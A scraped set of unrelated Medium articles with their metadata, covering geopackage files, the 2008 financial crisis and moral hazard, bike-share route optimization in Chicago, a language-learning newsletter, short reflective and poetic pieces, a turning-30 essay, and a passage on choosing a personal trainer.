We understood the advantages of using geopackage files compared to the shapefiles and GeoJSONs. But how and to what extent can we integrate the geopackage files in our spatial analysis workflows? Let’s explore few options.
Large Output Files
Tiled Tables / Multi-layer Files
Reduce/Avoid Redundant Files for Outputs
Spatial Views
Load only Parts of Vector Layer onto Memory
Handling Geography Masters
Work In Progress (WIP) Layers in One File
File imports for CartoDB
Samples, Default Colour Styles & other Attributes
All these points are explained in detail on my blog. Head out to my blog to read more on how geopackage can be used to make your spatial analysis workflow much faster. | https://towardsdatascience.com/why-you-need-to-use-geopackage-files-instead-of-shapefile-or-geojson-7cb24fe56416 | ['Nikhil S Hubballi'] | 2021-05-08 16:40:04.643000+00:00 | ['Geopackage', 'Shapefile', 'Geospatial', 'Python', 'Geojson'] |
Lessons from the great financial crisis — the ticking bomb story | source: iStock
Everyday millennials and younger generations learn the hard way that the future doesn’t seem bright at all. We’re basically surrounded by the evidence: take, for example, last week’s ‘breaking news’. We’re now experiencing the so called climate catastrophe — the global warming is very easy to perceive and we can see it at a glance. There’s a huge chance that its dramatic consequences will be, in the worst case scenario, the end of our civilization. Some might think — thank God, if I am going to die, then everyone is going to die, so I don’t have to worry about FOMO. But before it happens — people are going to suffer from heat, thirst, hunger, migration crises, maybe even wars — which sounds horrifying.
Back in the day we would probably treat such news only as a dystopian sci-fi story — there was this Doctor Who episode, which pictured the Earth after ‘extraterrestrial damage’ (if you know what I mean), struggling with cataclysms, epidemics, closed borders, and even death camps — basically everything we thought was never going to happen again. Well, there’s a chance that we are going to go through these things once again. The end of history? I don’t think so.
I’ve just started this blog, so I’m still a little bit shy writing in a language that is not my native — but anyway, I decided to share a little part of my research which — frankly speaking — sometimes makes me experience existential dread. If you think that PhD thesis on intriguing subject shouldn’t be, in any way, depressing — I’ll prove to you that my work appears to be the banking Apocalypse of John.
So I present you — things we haven’t learned from the 2007+ financial crisis and why we can expect a radioactive dust in our throats. This is me, your party killer.
Girls too big to cry, banks too big to fail
What we experienced during the global financial crisis was traumatizing for all of us. Not only did we face the consequences of the pathological decisions made by the big players such as creating risky and dangerous financial instruments. Not only did we see a complete lack of control over the creditworthiness of consumers and superficial assessment conducted by rating agencies. Finally — not only did we experience a tragedy of the poorest part of society which basically bore the costs of crisis and sponsored the decision makers. It was also the case of complete lack of responsibility on the part of the regulators — it was them who allowed establishing interlinked banking conglomerates, financial operations of which were impossible to be properly controlled. Links between those entities were so deep and so large that allowing any of those giants to fall would trigger a devastating avalanche. It happened anyway — everyone knew that in globalized financial sector based on cross-border transactions, the collapse or even liquidity problems of one large entity may have caused similar distortions in other banks. Yeah, well. We saw it with the naked eye.
What I’m describing right now is a theory of so-called banks ‘too-big-to-fail’ (TBTF) which used to be on everyone’s lips during the crisis. Now, normies will probably associate this puzzling phrase with the sexiest version of Ryan Gosling in Big Short or — if you don’t like Ryan Gosling (impossible) — with Occupy Wall Street movement. We should remember, however, that this expression is nothing new and it wasn’t new also a decade ago — it is claimed that TBTF as an economical theory had been discussed already in the 80’s. You may have heard it already many times, but let me explain the whole thing in simplified way once again: banks too-big-to-fail are those entities which remain under the special protection of financial authorities and may expect a bail-out in case of drastic liquidity problems. This belief arises from the fact that potential bankruptcy of such bank may entail shocks in other financial institutions and, as a consequence, the level of systemic risk skyrockets. Therefore the idea was this — the TBTF banks shouldn’t be allowed to fail and should they be on the verge of collapse — financial aid must be granted to rescue them.
This concept has been extended several times and it’s now classified in various terms — scholars mention systemically important financial institutions (SIFIs), banks ‘too-systemic-to-fail’ or ‘too-interconnected-to-fail’. Criteria to be taken into account in assessment of the nature of such institutions are actually diversified — this could be a cross-border activity, size, complexity, interconnectedness.
Well, there’s more
Okay, let’s sum up what we’ve just said — the significant problem of the financial crisis was allowing giant financial conglomerates to grow uncontrollably and benefit from state aid. The concept of too-big-to-fail has become a slogan associated with pride and greed of bankers.
But too-big-to-fail was actually being followed by its nasty cousin, the Fifth Horseman of the Apocalypse, hardly mentioned by the public, and which was, after all, probably the primary cause of the crisis. I’m talking about moral hazard. Sounds weird? Rather terrible.
Moral hazard is a situation in which one entity decides to take a risks and the other entity bears the costs of this risk if the consequences of the first entity’s actions prove negative. To put it another way: you know that for the results of your behavior pays another person (or entity), so you begin to increase the level of your risk, because you’re 100% sure that if you drown, someone will pull you out of the water. Moral hazard is particularly common in the insurance sector — if you’re aware of the fact that you’re insured, you tend to take, even if only slightly, more risk because you know that in the case of the negative incident occurring, you’ll get your compensation. The same thing happens in the banking sector from the perspective of consumers — depositors tend to ignore risky performance conducted of the bank keeping their savings because they know that in the event of collapse, the deposit guarantee will cover their losses.
Moral hazard emerged from the dark during the financial crisis like Babadook . Like a mould on the ceiling. Like a pimple on the forehead. Like a kiss on the cheek from the aunt you hate. Large banks and other financial institutions, aware of the fact that they can expect bail-out, didn’t hesitate to invest in risky financial instruments for a simple reason — such assets brought much higher profits in a shorter term.
Sloths and other fantastic beasts
Scholars interested in macroprudential policy very often mention also the phenomenon called inaction bias (or omission bias). Usually, this concept is presented as a cognitive bias — it is based on the assumption that a person has a tendency to assess harmful actions as worse than equally harmful passivity. As for banking — in general, there’s no consensus whether this theory exists within the sector, but — for the sake of discussion — we can treat it as a possible (but not fully confirmed by science) hypothesis.
Inaction bias in the banking sector means that regulators are not particularly inclined to use macroprudential instruments towards financial institutions and prefer rather to wait out crises rather than to take supervisory actions. The reasons they stand aside is assumption that their actions, if introduced too early, can have more severe consequences — investors withdrawing their assets, bank runs or high criticism from the public and market participants. Omission bias was noticed during the global crisis and has been regarded as one of the factors that contributed to its dramatic consequences. The phenomenon was also indirectly mentioned by Steven Pearlstein who suggested that the US regulators tend to wait too long until the bubble actually burst out. And again, Federal Reserve Chair Jerome Powell says everything is fine, but at the same time points out that leverage loans might have created other bubble that has already sucked in billions of dollars. Just a small explanation — leveraged loans are those granted to entities being already in considerable debt. These new debts are then bundled together and then transformed to financial instruments — collaterized loan obligations (CLO). Basically very similar mechanism as the one from 2007+ crisis. Remember what have subprime credits and CDOs done to us? Did I mention radioactive dust in our throats?
Last week I also read an article about Amazon launching a credit cards aimed at customers with bad or no credit history. There was this bitterly funny comment below: ‘New Amazon Subprime Russian Roulette Edition, invest and die”. Well, yeah.
By the way, maybe it’s not relevant for you, but I’ll just put it to make my homeland look better than it really is. As you might have heard, Poland wasn’t that much affected by the financial crisis — it was a unicorn, a green island among contaminated European countries. One of the probable reasons is that the National Bank of Poland (at that time — responsible for macroprudential tools), is considered to be a relatively active regulator that tends to act rather than stand still. Same with the microprudential regulator — Polish Financial Supervision Authority.
So how did we clean up this mess?
After the great crisis, legislators faced a significant challenge — the main principle was to create a new regulatory framework for banks in order to protect them (and the society) in the event of potential shocks. The goals were simple: first and foremost, regulators put an emphasis on increasing banks’ liquidity requirements and strengthening the macroprudential supervision. All of these measures were implemented and compiled as Basel III framework which provided adequate macroprudential instruments, for instance: liquidity and capital requirements, updated leveraged ratio or stress tests. Due to the lack of space and time — I’ll spare you the details on the all legal acts that currently support the sector and which were implemented after the financial crisis. I can only summarize it as a substantial amount of legal mumbo jumbo which now forms a banking safety fundaments in Europe.
Strengthening liquidity and supervision are not the only tasks faced by legislators: it was also necessary to minimize the moral hazard and create regulatory framework to prevent formation of banks too systemic to fail. Well, this plan was only partially fulfilled. The unfinished part will soon blow up in our faces.
The worst student in class
Well, let’s discuss an example from practice — I wouldn’t like to make empty promises because you’d probably roast the hell out of me.
Recently, basically in every Member State of the EU, there was this one, really hot topic in banking news. Deutsche Bank, Germany’s big fish, recorded a historical decline in its share price and basically smashed its face on concrete. For a long time DB has been considered to be the black sheep of the European banking, contributing to the deterioration of the local market. It wasn’t able to adapt to the new regulatory conditions and for a long time has been using outdated business model which hadn’t matched to post-crisis reality.
We can distinguish three alternative proposals for rescuing this sinking ship: Deutsche Bank’s merger with another bank (here it was supposed to be Commerzbank, also failing), resolution procedure led by SRB, or German government’s money. Simple as that.
The first option has already been eliminated as the transaction turned out to be unprofitable, and there was also a possibility of creating bank too big to fail and — at the same time — too weak to sustain. The second alternative, namely bank resolution, is probably the most desirable. In a huuuge simplification — resolution is initiated against a failing systemically important bank and the main goal is to let this bank continue its critical functions — contrary to traditional restructuring and liquidation which is aimed to retain as much investors’ and shareholders’ assets as it is possible. The main idea here is to protect taxpayers from the harmful effects of bank’s insolvency, so the most important feature of this procedure is that it should be funded by the sector itself, using especially remaining assets of the failing bank. Bail-outs are excluded as a measure harmful for taxpayers. For instance, one of the possible instruments to use against a failing bank is a highly controversial bail-in tool — equity and debt of the failing bank can be written down or converted to capital — and therefore the burden is placed rather on shareholders and creditors — especially those investing in the most risky assets. So, to summarize it: resolution is an administrative procedure led by an independent authority, financed mostly by the private sector, serving the principle that the cost of bad bank management, and irresponsible business decisions should be born by the banking sector itself. This regulatory tool is planned for Deutsche Bank and Commerzbank, and we can only hope it works.
Okay, I know it all sounds like gibberish, especially to laymen, but trust me — I tried to put it as simple as possible. More here.
If resolution doesn’t succeed, then only Angela Merkel ‘s iron fist can save those banks, and, to be honest, I have an uncomfortable feeling this is what is going to happen. Do you know what it means? That the bank which wasn’t able to comply with the new regulatory requirements and invested in risky financial instruments — will again fall on its feet. The largest German bank is going into pieces, but perhaps — no one’s going to suffer any consequences. Oh, excuse me — I forgot to mention the German society.
We learned nothing
If all of this hasn’t made you anxious yet, then let me add some fuel to the flame. We’re going to die from heat and thirst anyway, so it cannot get any worse.
We’ve discussed the post-crisis problem regarding banks too big (or too systemic) to fail. Unfortunately, we haven’t solved it yet — and haven’t found any solution which could make sense (we’re still trying, though). The financial sector is still based on global conglomerates, which might seriously harm us, if they lose their stability.
We’ve also mentioned regulators’ reluctance to initiate proceedings in the event of crisis. Finally, we’ve discussed the worst — moral hazard, which, together with a simple greed, intensifies risky activities among banks.
I know it all sounds horrifying, but I can go on and on. We’re facing not only the above mentioned leveraged loans bubble hanging above us like guillotine, but also a huge student loans debt, especially in the US, very vulnerable to scams. Also, corporate debt bubble. Global interest rate reduction. Shadow banking. Regulatory vacuum concerning cryptocurrencies which probably cannot — or maybe shouldn’t — be filled.
Anyway, the conclusion is: the sector learned as much as I did in geography classes in elementary school — zero.
Okay, so what?
You’re reading this and you wonder — ok, this is some legal/economic mumbo jumbo, how does it supposedly affect me and how big is the danger?
Well — you’ll probably pay for all of this. You’ll pay with your pension, your savings, your salary, your credit interest — anyway, your ass will get kicked. We haven’t learned the most important lesson from the crisis — that if someone is aware that his butt is always safe and sound, he will party hard until his batteries are exhausted. This is not only the problem of banks, but FinTechs, big data, insurance companies, and OTC traders as well. If all of them know that someone else will pay for their risky actions — they won’t stop. Imagine Mark Zuckerberg keeping it in check while knowing that he will anyway go unpunished. Won’t happen. Moral hazard.
If you ask me what you can do in reaction to these things, my first suggestion is: go out, put off your clothes, set your bed on fire, lie in front of JP Morgan’s door, and scream at the top of your lungs. But unfortunately — the public doesn’t care, we’re all just a bunch of cosmic matter, and life is a dream. No, seriously — I believe there are some options (apart from the TBTF problem, for which, apart from enhanced concentration control, I don’t see any reasonable at-least-partially-free-market solution):
- creating interconnected institutional safety nets consisting of all public authorities involved in the financial market: central banks, supervisors, resolution authorities, deposit guarantee authorities and government representatives. Their mutual cooperation, but also mutual control mechanisms — this might be a solution that will lead to accountability and motivation on the part of the state;
- strengthening the instruments minimizing moral hazard — such as those described above — resolution and legal provisions concerning liability of shareholders, managers, directors, investors, agents (especially financial liability, not criminal);
- educating the society on the risky investments and encouraging them to get involved — but in a safe way. In short: financial education. Easy to say if the majority of (at least Polish) society has no creditworthiness.
And one more thing. Law enforcement. For all the issues I described above, there is — at least partially — a response in law. The post-crisis regulations, which I mentioned above, constitute a really solid pillar for proper and vigilant supervision. The problem is that the law is often not enforced . Because some people are more equal than others.
I must admit sincerely — all my thoughts and reflections, they’re just a silly tale of a minor researcher and watchful observer. At this point of my life I can afford a dinner in a good restaurant (fancy fish tacos and churros), but not necessarily Porsche Cayenne. I don’t invest in anything because I don’t have money to do so, I also don’t have creditworthiness, I have one savings account, but if someone would like to use it as a means to cover the effects of the crisis — it would probably be a FUNNY PRANK. But despite all of this — one day, maybe in ten years or more, I’ll pay for the mistakes that I haven’t made at all. My generation and younger generations will be the beneficiaries of the impending financial crisis, perhaps the largest one in history. Let me just remind you that the regulators partly managed to react to the market’s shortcomings — at least on paper. If they haven’t implemented those ideas yet, they already know how they should look like.
But I doubt they will. The law probably won’t be enforced. And we shouldn’t have any hope that we are not going to pay a tax on someone else’s greed and pride.
Coming back to the question I stated in the beginning. Well, you know the answer. You can feel how high is the temperature outside, you know how much money you’ll get when you retire, you can’t afford healthcare, your student debt is rising, you see your interest rate increasing, and you cannot do anything about that. Someone else should bear the consequences. And they know it.
I used the following sources:
– D. Acemoglu, A. Ozdaglar, A. Tahbaz-Salehi, Systemic Risk and Stability in Financial Networks, „The American Economic Review” 2015 nr 2 (105);
— A. D. Morrison, Systemic risks and the ‘too-big-to-fail’ problem, Oxford Review of Economic Policy, Volume 27, Number 3, 2011;
— Basel Committee on Banking Supervision: Global systemically important banks: updated assessment methodology and the higher loss absorbency requirement, Lipiec 2013;
— A. Barth, I. Schnabel — Why banks are not too big to fail — evidence from the CDS market, Economic Policy 2013;
— P. Schammo, Inaction in Macro-prudential Supervision: Assessing the EU’s Response, Journal of Financial Regulation, 2019;
— R.M. Lastra, Systemic risk, SIFIs and financial stability, Capital Markets Law Journal 2011, vol. 6 no. 2;
— C.O. Brown, S. Dinc, Too Many to Fail? Evidence of Regulatory Forbearance When the Banking Sector is Weak, The Review of Financial Studies, Volume 24, Issue 4, April 2011.
And:
- websites linked above,
- EU authorities websites,
- my own brain. | https://medium.com/@kchojecka/lessons-from-the-great-financial-crisis-the-ticking-bomb-story-a5bd26ae2862 | ['Kasia Chojecka'] | 2019-06-17 15:55:44.812000+00:00 | ['Policy', 'Banks', 'Finance', 'Crisis', 'Banking'] |
Optimizing Shared-Bike Allocation Routes | Optimizing Shared-Bike Allocation Routes
A new way to solve the Vehicle Routing Problem for shared bikes in a large city
Photo by Gabriela Bavaresco Kataoka
Living in a large city comes with the benefit of a large range of options for getting around. In Chicago, Divvy is the bike sharing company that has over 600 stations throughout the city — though, often, you may find those stations empty, especially in crowded and popular areas. This can be detrimental to both the company and the customers looking for a cheap, efficient and healthy way to move in the city.
When looking to apply skills learned from our Masters of Analytics’ Optimization class, our group — composed of Amy Lin, Divya Ravindran, Grace Yin and Luis Flosi — decided to tackle the issue of finding the best route for a single Divvy van to travel between select bike stations, collecting and redistributing bikes to minimize the lost opportunity of missing bikes when customers most require them. Fortunately, Divvy has made data publicly available on all trips taken by its bikes in Chicago’s Data Portal. We also collected weather data from Dark Sky to enrich our models. Our final code repository can be found on GitHub.
We will start by understanding the data, then creating predictive models to understand demand and supply between stations, and finally optimize distribution routes based on two different approaches: linear programming and simulated annealing.
Data exploration
The data was imported, cleaned and structured during a previous project from a group which Amy was a part of. Our focus was on understanding patterns of ridership between days of the week, hours and months and how those changes might impact the number of bikes in a station.
What we found was that during peak hours, a considerable number of stations became empty or full. We also found that weekdays have very different patterns than weekends. Finally, seasons also have a big impact on the total number of trips taken, since Chicago can have very harsh winters. The analysis was headed by Amy, who produced the following graphs:
Assumptions
We identified how our model would be able to solve the problem given the information we had available and what we could reasonably assume:
We had access to every trip for the year 2019, each station’s bike capacity and capacity status per hour. From the weather dataset, we also managed to identify visibility and temperature for every trip.
Considering that allocation would not necessarily have to be performed every hour, we divided weekdays and weekends into timeframes as illustrated above by red lines. Bike allocations are to be performed within those time frames.
As an assumption, we proposed that a van would have a capacity of 20 bikes. This assumption can be easily tweaked in our model.
For simplicity, we also assumed constant and equal traffic for all of Chicago’s regions, which means that the distance between stations is the only factor that impacts the “cost” of a van transportation between two stations. Although this can also be easily changed for the model, the traffic information would be more complicated to gather at this point.
In our model, a van would be responsible only for a certain set of stations. In a future model, we would certainly expand it to consider an indefinite number of vans for all stations at once. However, we found that this type of optimization problem (commonly known as Vehicle Routing Problem, or VRP) is too computationally intensive when considering hundreds of stations at once.
Given this scenario, we realized that the main model input that was missing is the forecasted demand for each station at any given day.
Demand estimation
In order to estimate demand, Divya, Grace and Luis created two predictive poisson models that would estimate the number of bikes arriving and leaving each station. They take into account the weather conditions, month, hour and day of the week.
Although the models showed near-zero chi-square p-value, they also performed well with the test set, showing errors that ranged between -1 to 5 predicted trips. The p-value test can be misleading when predicting low-value rates, so we decided to use this model for predicted trips. However, in a real-life situation, we would certainly develop this model further to be more robust.
From the models above, we restricted their trips predictions to consider each station’s bike capacity. Finally, we utilized the 95% upper level of forecasted leaving trips as the actual number of trips leaving. We decided to consider the upper level to ensure that there would be no shortage of bikes on most days.
For the optimization model, we define demand as the number of bikes that need to be transported to a station so it can fulfill all customer trips. A positive demand means that a station has a surplus of bikes for a timeframe. With that in mind, we define demand as:
D = B — (UL — A)
Where D = demand, B = bikes available at start of timeframe T, A is the number of bikes arriving during timeframe T and UL as the upper-bound estimation of the number of bikes leaving the station during timeframe T.
From the number of trips arriving and leaving each station, we were able to aggregate the hourly numbers into the pre-defined timeframes where the optimizations will take place. From there, we only needed to calculate the number of bikes actually available at each station at start of time T (considering post-optimization changes).
For T = midnight, we assume that the number of bikes available is always the same, equal to the average of the historic period at midnight since Divvy has historically performed allocations at that time. From then, each time frame will have the number of bikes that will be considered: previous timeframe’s allocation results (number of bikes actually available); “A” for the previous timeframe and average of bikes that left the station (NOT the upper-bound).
B_t+1 = O — (L — A)
Where O is the optimized number of bikes available on the previous timeframe T, A is the number of bikes arriving at station in the previous timeframe and L is the average number of bikes leaving as predicted by the model for the previous time frame.
We repeat this process for every new timeframe, calculating the optimization model’s input D each time.
Allocation routes optimization
We used two different approaches to optimize the routes for bike allocation. The first is a linear programming problem solved using Julia’s Gurobi solver, and the second is solved using the Simulated Annealing (SA) technique inspired by this research paper’s results that showed that SA can be used to solve VRP problems with much fewer computations.
Both solutions take into account the same objective function, derived by Amy. We minimize the sum of absolute differences between the expected station inventory and actual inventory after optimization:
1. Linear programming solution in Julia
Variables
Constraints
The linear programming solution requires the definition of constraints to which the objective function will be subject to. The constraints not only need to define capacity (such as van and station capacities), but also create route connections and establish distances as the “cost”, for which there will be a maximum cost attainable (meaning the total time a van can travel before the timeframe expires). The functions below were also derived by Amy with support from the rest of the team:
Capacity constraints
Routing constraints
2. Simulated Annealing approach
The main weakness of the previous approach is that it can be extremely computationally intensive. Not only would it take hours or days to run the optimization for all stations at once, there are some cases where as few as 20 stations can take hours to process.
The paper previously mentioned has found an alternative to a similar VRP model using simulated annealing, an algorithm that randomly selects solutions and evaluates them until it can find the optimal solution. The unique approach of the algorithm, however, is that it allows “bad” solutions in order to escape a local optimum.
Once we were finished with the scope set by the Optimization class for a final project, we decided to go one step further and implement the SA algorithm in our data to find solutions to scenarios where we had difficulty processing. Even though we only implemented a limited, first-draft version of the SA, we had great results running cases that once took us hours to process using only a few minutes.
The adaptation of SA for our specific case was made by Luis, and is outlined here. The code can be found in our repository.
Results and final considerations
To demonstrate our results, Divya and Grace chose one “default” summer day with good visibility during a weekday at the 7pm timeframe, with 29 random stations across Chicago. After Amy processed this case with our linear model, they worked together to produced the following image to demonstrate the resulting route:
Note that the optimization could be run on any given situation, as long as it has the inputs for demand, capacity constraints and distance / travel time. Also, this is the result from our Winter Quarter presentation, where we used a prior predictive model. Since then, the model was improved as can be seen in our GitHub page.
In a real-life situation, this could be run ahead of time on any given day to create dynamic routes for vans to optimize bike distributions for a regular work day, weekends, summer or winter, and even extraordinary event days. This would allow Divvy to properly assign bikes the best and fastest way possible, maximizing not only their opportunities but overall customer satisfaction. | https://towardsdatascience.com/optimizing-bike-sharing-allocation-routes-in-chicago-81f17b13a4a5 | ['Luis Flosi'] | 2020-04-16 19:17:38.442000+00:00 | ['Simulated Annealing', 'Towards Data Science', 'Optimization', 'Allocation', 'Linear Programming'] |
Welcome To Polyglot Your Tongue! | Hi // Hola // Salut Language Lovers!
Welcome to Polyglot Your Tongue. I’m Becca — nice to meet you — hope you’re all safe and doing well.
I’ve never written a newsletter before so this is all very new to me. How am I doing? Sorry, I’m a bit nervous…where to start?
As I said, I’m Becca. I’m currently a journalism student / language tutor after doing a degree in International Relations with French and Spanish at the University of Dundee. I have always adored languages but since finishing my studies and without the ability to travel and practice them in far away places, I have found that I really miss them.
So here we are: a newsletter celebrating language learning for all ages and abilities. At least that’s the idea.
We’ve all downloaded Duolingo at some point in the last year or so. Whether it was a Lockdown hobby you turned to out of extreme boredom or you just wanted to dust off your high school French, I can guarantee that most of us — at some point — have given it a go.
Equally, I can also hazard a guess that most of us have made the Duolingo owl sad and have consequently, deleted the app just to escape the shame.
Don’t worry, I’ve been there too. Learning a language isn’t easy. If it was, we’d all be doing it. That being said, it can be fun, rewarding and is completely worth the effort.
With this in mind, let’s try again — together. Every month, I will be sharing my experience about learning a language at university and all the good, bad and the ugly that comes with that. I will be collating my top tips, film and podcast recommendations and any words of wisdom that I can muster.
You can learn some beginners French and Spanish along with me here or use this newsletter to apply it to the language(s) you are learning on your own.
I will also be sharing my tips on my TikTok @beccacareyjournalist so we sure to follow me for some fun (and educational) videos too!
I would also love to feature any tips or recommendations that you might have so please get in touch!
Lots of love,
Becca Carey
Founder of Polyglot Your Tongue | https://medium.com/blame-becca/welcome-to-polyglot-your-tongue-8e3a4e7b185d | ['Becca Carey'] | 2021-04-09 17:22:09.538000+00:00 | ['Language Learners', 'Newsletter', 'Language Learning', 'Globalization'] |
Maybe I’ll Find God | I left Portland, Oregon early on a Friday morning after finding out I wouldn’t have to be back to work until the next Wednesday. I was headed to Montana and then to Yellowstone and then through the Tetons and back home.
I didn’t go with much of an agenda. I told myself maybe I’d find God or could reset some unhealthy patterns in life.
I’m not sure if either really happened.
Or maybe both really happened.
Sure, God can be found anywhere, so I need not over-spiritualize.
But I think what I was really looking for was space. Margin. Room.
And I found that.
I think God is in that.
He’s in the margins. He’s in space.
And so maybe I found God after all. | https://medium.com/koinonia/maybe-ill-find-god-2c31fff2487a | ['John Ross'] | 2020-09-03 00:14:27.423000+00:00 | ['Inspiration', 'Christianity', 'This Happened To Me', 'Spirituality', 'Short Story'] |
Matching latch | Chalkboard challenge
Matching Latch
A response to the one-line poem prompt, Buckle
Photo by Mike Lorusso on Unsplash
Find the corresponding latch to attach
- two become one-
perfect match.
Simone Maffescioni, 2020
Response to one-line poem prompt ‘buckle’
Thank you to Fierce Force 💃🏼and Chalkboard for the prompt: | https://medium.com/chalkboard/matching-latch-f5646c08c8f2 | ['Fresh Receptive'] | 2020-07-27 07:23:45.337000+00:00 | ['Poetry On Medium', 'Poetry', 'Chalkboard Espresso', 'Soulmates', 'Buckle'] |
30 Going on 13: Dreaming Again | Raise your hand if you spent the lockdown bingewatching Netflix and not being productive
30, flirty and thriving? More like 30, thirsty and surviving
Living in a society that places such a high premium on youth makes you dread the day you turn 30. Especially when you are bombarded with articles like The Invisibility of Older Women and TED talks like Why 30 is not the new 20. I don’t even know why the gift of living to have another year is making me sad when in the face of a pandemic where you see even people of all ages losing their lives, it would be a luxury to get more time. It was a non-event for me anyway being situated in the middle of a global pandemic. One day I woke up and realized I was 30, which also puts me in the tail end of the vaccination queue in Denmark.
Among countless others, I basically lost the last year of my 20s while living paycheck to paycheck and my relationship breaking down. I don’t really mind, I had a blast for most of the 2010s once I got past the depression inflicted on the first half of it. But it’s not quite the grief of lost youth that I feel, rather the anxiety of not hitting the milestones that society says I should hit by now. Out of sheer biological panic, I have started googling queries like how much it costs to freeze my eggs and what age is too early to start botox.
When I was younger, I had two goals with a time limit of 30. One was to win an Art Directors Guild Young Guns award. Designers cannot be older than 30 to apply. Halfway through my 20s I changed careers to data and lost sight over that goal as I wasn’t doing much with visual design anymore. The dream slipped away from me.
I used to really love design. I could work my regular job for 8 hours and still find the time to work on personal or freelance projects after that. Over the years, it just hasn’t been the same. I didn’t even bother installing Photoshop on my latest computer anymore (don’t worry, I’m moving on to Figma). It became regular work to me and the joy seeped out after dealing with the realities of the actual job and getting bored because Websites really do all look the same. People always like to talk about falling in love with their passions, but not a lot talk about falling out of love.
Somewhere along the way I also realised that my talent didn’t come anywhere close to the size of my ambitions. I gave up on it and chose to have a life instead of total dedication to a great design career. If I have any regrets in life, it would probably be that decision.
I’ve gotten over the sheen of awards gradually especially when a former boss of mine who was in a Forbes 30 under 30 list told me it was more about networking than anything. Over time you realise that not winning doesn’t mean you’re exactly failing even though you’re not really succeeding either.
The reality of it was that my two goals were not exactly compatible with each other. Prioritizing the enjoyment of a personal life meant fewer hours spent on my professional goals. To be honest, I still haven’t found the optimal ratio for myself yet. Another learning when setting goals is not to make ones that contradict each other.
My second goal was to live in seven cities by 30. It wasn’t even my own dream. A friend mentioned that to me in college and I adopted it. If living in a city is defined by at least one month period of time, then I’ve overshot this goal by one. But if it’s defined by at least half a year, then I’ve only properly lived in 4 cities so far. Despite the debt that I need to pay forward, I have made it to Copenhagen. It wasn’t the city of my dreams when I was young, but it was a place I fell in love with during my studies here. My dream city used to be Paris and it turned out to be a nightmare when I visited there and also because of personal reasons.
That’s the thing with dreams, they change over time.
A new decade means a new opportunity to dream again
So how do I get myself out of this rut?
First of all, survive. We are in the middle of the biggest health crisis in recent history. I have to forgive myself for not thriving. The question is just how do I know that the survival phase is over? And when is it time to thrive? I’ll never really know especially as an immigrant with a non-permanent status. I just have to do the transition gradually, otherwise I’ll never do it at all.
Second, it’s true what they say that you need to step outside of yourself. A pair of students echoed my sentiments over a dinner discussion. The pandemic had also robbed them of their passions. The message is clear: do not despair, you are not alone. The thought of that is comforting.
During the lockdown, another friend, Mitchie Tabirao and another Filipina have managed to found ulap.org, a non-profit that aims to provide scholarships for cloud computing to disadvantaged Filipinos. Why can’t I come up with something like that instead of watching 50 Netflix shows?
A combination of lockdown fatigue and the fact that consulting, my current work, is a 45–60 hour week job limits the free time that I have. As a 30 year old, honestly I just don’t have the energy I had when I was 20 and working 12–16 hour days and still being able to party afterwards. It makes me slightly jealous to see people ten years younger than me, with the energy and ideas I used to have, eyes burning bright with passion.The new design communities like developh give me hope for the future as instead of the cliques, elitism and gatekeeping of before, they are now driven by the values of diversity and inclusion.
Instead of wasting my time envying what lays ahead of them, I should be inspired instead and use the time that I have left wisely. The reality of being 30 is that one really needs to learn how to focus and prioritise. Or at least improve stamina and health in order to be able to do more. A therapist or a life coach would also be great if I could afford it. Luckily, some professionals are offering their services for free or some therapy could be covered by insurance. Otherwise, it can be equally beneficial to find an accountability partner or friend. It really helps just to talk on a regular basis with someone who understands.
I’ve decided to be 13 again
An action plan for building a creative routine in my 30s
The key word is doing something regularly and small steps at a time. Structure seems to work for me and the unpredictability of the pandemic prevented our lives from having the stability needed to build structure on top of. The privilege in living in a country that has managed the situation well allows optimism to start planning again. I have also learned that having impossibly big goals made me depressed when I didn’t achieve them. Setting smaller goals I can achieve everyday can make me ultimately happier. One could never really know what ripple effects our seemingly tiny actions can have.
This little essay is just the start of documenting my journey on rekindling my passion for design again. One of my project ideas is to talk to designers in Denmark about Danish design and eventually in other countries about their own country’s design style. I will be publishing it either in written, audio or bite-sized graphic form. Or I could just do a simple design a day project, like I did when I was 20 and ecstatic that I would be moving to Singapore. The main point isn’t really about growing an audience or something like that. The goal is for me to find my passion again, but by putting it out into the open it might actually help other people as a by-product.
The thing with goals is that they are doomed to fail if it’s focused on attaining external achievements like being on some list or winning an award. An acquaintance of mine was recently listed in the Berlingske 100, a top list of people in Denmark. She is an immigrant like myself. I wrote to her and asked her how she did it. She said she simply followed her passion and the rest followed. Sounds simple but regaining lost passion is going to be another tough journey in my 30s.
A brief thought of going for the Berlingske list crossed my mind but a decade of disappointment has taught me better. If my goal is related to the action itself, then I can be winning everyday and I won’t need an award to validate myself. | https://medium.com/@hailmika/30-going-on-13-dreaming-again-d336341c8ec | ['Mika Aldaba'] | 2021-04-29 20:41:16.846000+00:00 | ['Immigration', '30s', 'Dreams', 'Career Paths'] |
Three Signs of a Good Personal Trainer | #1. An initial assessment
A personal trainer should be just that — your personal trainer, and the sessions your trainer puts you through should be designed around your personal needs.
Before your first session together, your trainer should be performing an initial assessment to identify what exactly those needs are.
An initial assessment may include:
Asking about any medical/injury history
Establishing your specific goals (i.e. Do you want to lose weight? Gain muscle? Why?)
Identifying any mobility restrictions you might have
Using this information to design your individual training program
Too many trainers will lay out the same cookie-cutter program for the 19 year old football player as they do the 72 year old with a history of osteoporosis.
If your program isn’t built specific to your needs, keep on looking.
#2. Having a structured plan
There’s a difference between “training” and “working out”.
Training for something involves laying out a plan with an end goal in mind. For example, if your goal is to lose 10 pounds of fat and add 5 pounds to your bench press in 12 weeks, your programming is going to reflect that goal.
On the other hand, putting someone through a serious of random, aimless workouts just for the sake of getting sweaty is lazy personal training.
How many times have you heard somebody brag about their coach/trainer “kicking their ass” in the gym? That’s because many newcomers associate feeling exhausted with a productive workout — but that’s not always the case.
A five year old could tell you to do 1,000 burpees and you’d be hooked up to a defibrillator before you could finish. It would “kick your ass”, but what did you accomplish? Are you any closer to your goal than you were before the workout? Do you even know what your goal is? (See: Initial assessment)
When there’s no clear, defined goal established with your training; that’s a tell-tale sign of a trainer that doesn’t know how to properly structure a program.
You — and your hard earned money— deserve better than that. Make sure they have a plan.
#3. Education
A trainer/coach that takes themselves seriously is going to invest in themselves.
Not every personal trainer has to necessarily have earned a bachelor’s degree in Exercise Science, but they should have invested in some form of education to provide themselves with the requisite knowledge needed to work with clients before doing so.
This typically comes in the form of a personal trainer certification program. Some of the most well known certifications are:
ACE — American Council on Exercise
— American Council on Exercise CPPS — Certified Physical Preparation Specialist
— Certified Physical Preparation Specialist NASM — National Academy of Sports Medicine
— National Academy of Sports Medicine ACSM — American College of Sports Medicine
— American College of Sports Medicine ISSA — International Sports Science Association
